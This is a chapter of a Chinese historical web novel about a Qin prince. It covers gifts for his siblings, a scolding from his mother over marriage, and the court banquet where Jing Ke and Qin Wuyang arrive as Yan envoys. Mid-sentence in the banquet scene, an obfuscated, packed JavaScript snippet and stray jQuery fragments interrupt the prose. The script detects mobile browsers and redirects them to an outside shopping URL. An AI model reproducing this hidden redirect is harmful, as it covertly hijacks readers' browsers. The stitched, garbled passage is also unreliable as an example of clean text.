30.第三十章

作品:《秦二公子升职实录

    虽然还想在外面继续晃荡,但既然遇上了,王贲校尉自然不会再让他一人。


    身后跟着一群人这逛街就有点没意思了,公子斐无奈,只能随便逛了逛,买了些宫内没见过的稀罕小食便打道回府。


    他给自己年纪相仿兄弟和姐妹都带了礼物。送礼的时候,他们一边埋怨他私下偷跑,一边又个个新奇非常。


    “草竟然能编成这样?”元嫚拿着一只草编鸽子来回翻看。


    “味道怪怪的。”阴嫚吃了一口市集卖的饴糖,评价。


    “这个漆盒好看!”虽然市集的漆盒没有咸阳宫里的精美,但有时候简单也是一种美。


    “好看吗?”诗嫚立刻换上了桃木簪。


    公主们本也较少出门,没什么特别的要求,比较好哄。气他一个人出门的公子们就没这么好对付了。相比与礼物,他们更想蹭他的车出宫玩,或者干脆向他打听注意事项,准备自己也溜。


    而这其中,最怨念的还是公子扶苏。


    “二弟,我们之前约好的……”


    最先和公子斐说好出去玩的当然是几乎天天混在一起的公子扶苏。但是他们第一次出去就遇上了韩非那事,之后就再也没人提出去这件事了。现在,公子斐一个人出去玩,不叫公子扶苏一起,公子扶苏理解归理解,心中难免还是有些怨念。


    “哎?大哥你没自己出去玩过吗?”不过,相比公子扶苏的怨念,公子斐更惊讶的还是这点。


    公子扶苏沉默摇头。


    他本就不是爱玩的性子,无人相约的话他还是更喜欢一个人安静的抄书习字。之前也是公子斐提议去找韩非,他才和他一起出去的。


    “那我下次再和你一起出去吧。我感觉市集还挺热闹挺有趣的。”他向公子扶苏分享了他在外面闲逛的见闻。


    公子扶苏带着几分好奇的听他滔滔不绝的说了很久,一直到晡食,公子斐才意犹未尽的告辞。


    “外面真的挺好玩的!”离开的时候,公子斐再次强调。公子扶苏若有所思的望着他,片刻,笑道:“再好玩也不是宫里,可不要在外面玩的忘了回宫。”


    公子斐俏皮的向他做了个鬼脸:“不会的,还要给大哥大姐小弟小妹们送礼物呢!”


    他哈哈笑着离开了。


    ————


    时间一晃而过,很快就到了嬴政接见燕国使臣的日子。


    因为已经有了见习朝政的资格,这回公子斐和公子扶苏也有资格列席。鉴于这是他们开始见习朝政后第一次规模比较大的外国使臣接见,两人一早就被叫起来复习各种礼仪。


    “至于么,搞这么隆重。”


    复习结束,公子斐挺直的腰板立刻塌陷。他歪歪扭扭的喝了两杯水,伏倒在案几上。


    “或许是因为父王和燕太子感情不错?”公子扶苏也是累得不行。不过他的仪态就比不拘小节的公子斐好多了。


    “连夜逃走的感情吗?”公子斐坏笑。


    公子扶苏无奈瞥了他一眼,告诫:“可别叫父王听见。”


    公子斐哈哈大笑。


    “真好奇他们的相处方式。”他不怀好意道。


    “可惜我们大约是看不见了。”公子扶苏实话实说。


    “那可不一定,韩王不是还好好的?”公子斐道。“哦不对,现在该叫颍川君了。”他又笑了起来。


    除了那些在他小时候的罪过他的人,嬴政对韩赵两国剩下的权贵都还可以,至少是给他们留了一条命,让他们苟活下去了。以前的韩王安变为了颍川君韩安,迁陈县,以前的赵王迁——哦,不好意思,想干掉先王子楚害他抛妻弃子连夜出逃的就是赵王迁的父亲,父债子承,王位都继承了,仇怨自然也要继承。赵王迁——或者说黔首赵迁被流放到房陵,现在估计已经没了。


    “要是韩先生在,说不定这颍川君的名号就是先生的了。”公子斐道。


    “可惜以先生的性子,他无论如何也不会接受的。”公子扶苏叹息。


    “也是。”公子斐也叹了一口气。


    若能接受,韩非就不是韩非了。


    两人一同惆怅了起来。


    一起上过韩非的课,又一起救下韩非,一起为他送葬。虽然一共只相处了没多久,韩非还经常因为他们秦公子的身份没有好脸色,但公子扶苏与公子斐对他的感情却绝不一般。他们是真的将韩非当做自己的先生一样的。


    如果不是韩非自己想死……


    ————


    休息的时间很快结束,公子斐与公子扶苏各自回宫去换了更正式的衣服,准备出席晚宴。


    虽然只是列席围观,并没有什么发言的机会,但这毕竟算是第一次公开面对外国使臣,夸张点说就是第一次向世界昭告他将登上政治舞台,公孙蓉为保万一,临走了还仔仔细细的帮他又检查了一遍衣物配饰。


    “长大了……”


    面对着一丝不耐也没有的儿子,公孙蓉满心都是感慨。


    最初他刚生下来的时候只是个红红丑丑的小毛头,公孙蓉都不敢相信这是从她肚子里出来的。现在,似乎只是一转眼,他就变得这么大了。


    “上次给你的名单看了吗?”最后帮公子斐整了整衣领,公孙蓉问。


    公子斐:“……”


    他默默别开了视线。


    公孙蓉:“……”


    “你大哥十四岁就跟李家定下了,再过两年都要完婚了,你呢?”看他这反应就知道是什么意思,公孙蓉顿时柳眉倒竖。她简直要把牙齿咬得咯咯响。


    “这两年我给你看了多少人了?你就没一个满意的吗?”她厉声质问。


    公子斐:“……就几行字怎么……”他小声反驳。


    “就几行字?那和你一起读书的那些呢?这么多年了,你就一个都看不上吗?你知道有多少人来问过我吗?我都不好意思回答!”公孙蓉想起这个就气。


    公子斐缩了缩脑袋不吭声了。他乖乖站在原地等公孙蓉数落,看时间差不多了才脚底抹油,溜之大吉。


    “时间快到了,儿先出发了。”公子斐赶紧跑路。


    公孙蓉无可奈何,只能自己跺脚。


    “我看你挑到什么时候!”她恨恨道。


    ————


    乘着羊车来到章台宫,公子斐到的时候公子扶苏恰巧也到了。他们结伴入内在大殿的角落里坐下,等待宴会开始。


    秦国宴会的制度大抵延续周朝,但氛围更加宽松,并不对入座的先后顺序做太多要求。


    公子斐和公子扶苏到的时候预定出席的官员们大部分都已经到了,他们在侍从的带领下按事先安排好的顺序依次列席,或自斟自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006289|133868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    饮,或小声与自己周围的人说话,神情自在,安然自得。


    公子斐和公子扶苏也在侍从的带领下入座。他们没有过多的交谈,只是安静的听着屏风后悠然奏响的丝竹之声。


    不一会儿,作为秦王的嬴政也到了。


    他的到来让在场所有人起身,向他躬身行礼。


    “见过王上!”


    整齐划一的声音在大殿内想起,嬴政就在这种情况下快步走到大殿的最中央,他一直以来固定的位置上站定。


    “诸位爱卿免礼。”他抬手,放所有人站正。


    “话不多说,爱卿们就坐吧。”说着,嬴政率先坐下。


    随着他的动作,诸位大臣按座位的先后有序坐下。最后,当所有人都就坐,嬴政高声道:“让我们欢迎远道而来的客人。”


    轻柔的乐声瞬间转为肃穆庄重。随着内侍们一道一道将他的话语外传,楚国庞大的使臣队伍也一一进场。他们先后向嬴政献上重宝,从延年益寿的灵芝人参,到华丽贵重的黄金宝石,还有各色自楚国而来的美丽少女。


    使臣队伍的最后,是今天的重头戏——献城与献头。


    “燕国使臣,荆轲,秦舞阳到——!”


    内侍高喊燕国使臣的名字,在侍人的带领下,一身黑衣的荆轲和秦舞阳双双捧着托盘站到了殿内。


    殿内的大臣们纷纷起身表示庆贺和尊敬。公子斐也随众起身,看向两位身姿挺拔的燕国使臣。


    必须得说,燕国的这两位使臣是有点特色在的。托着樊於期人头的荆轲面色平静无喜无忧,看着似乎只是来普通的参加一场宴会,没有一丝献城的卑微与憋屈。而托着地图的秦舞阳则——嗯?这位秦姓的使者怎么脸色如此苍白,还发起抖来?


    秦舞阳的异常引起了殿内些许瞩目,在众人的注视下,他汗如雨注,抖如糠筛,简直都要托不动献礼盘了。


    他这是怎么回事?公子斐心中浮起些许不好的预感。他忍不住皱了皱眉,微微倾身想要看的更清。


    这时,一脸平静的荆轲开口圆场了。


    “非常抱歉,我们是北方蛮夷粗野之人,从未没见过如此大的场面。”他皱眉瞥了一眼颤抖的秦舞阳,谦卑道。“还请大王谅解。”


    这是一个令人满意而愉快的理由。燕北蛮夷惧于他们秦国的庄严礼制是理所当然的,毕竟他们秦国发家于岐之西,是周王朝最正统的继承者。


    虽然还有些疑惑燕国怎么会选择如此胆怯之人来献城。但荆轲的气度态度还是很不错的,许多人便将秦舞阳当做荆轲的侍从,只是帮他托盘。


    典客的人怎么搞的,这种事都能弄错吗?只是随便一个侍人的话他根本不配在这场宴会中被通报姓名。一些大臣不满的向姚贾投去视线,姚贾微微皱眉,心里也怀疑起是不是手下搞错了什么。


    作为一个著名使臣,他最是清楚出使他国的时候不管是战胜还是战败,气势都是不能输的。一个使者,他可以谦卑,可以殷勤,唯独不可以怯弱。


    燕国这是怎么回事?如此重要的仪式怎么能让这种人来参加?


    姚贾怎么想都觉得不会是他的手下弄错了。


    这种表现!明明只是作为一名侍从也极其不及格!这怎么能怪他们?


    要怪就该怪燕国!什么眼光!姚贾不满的想。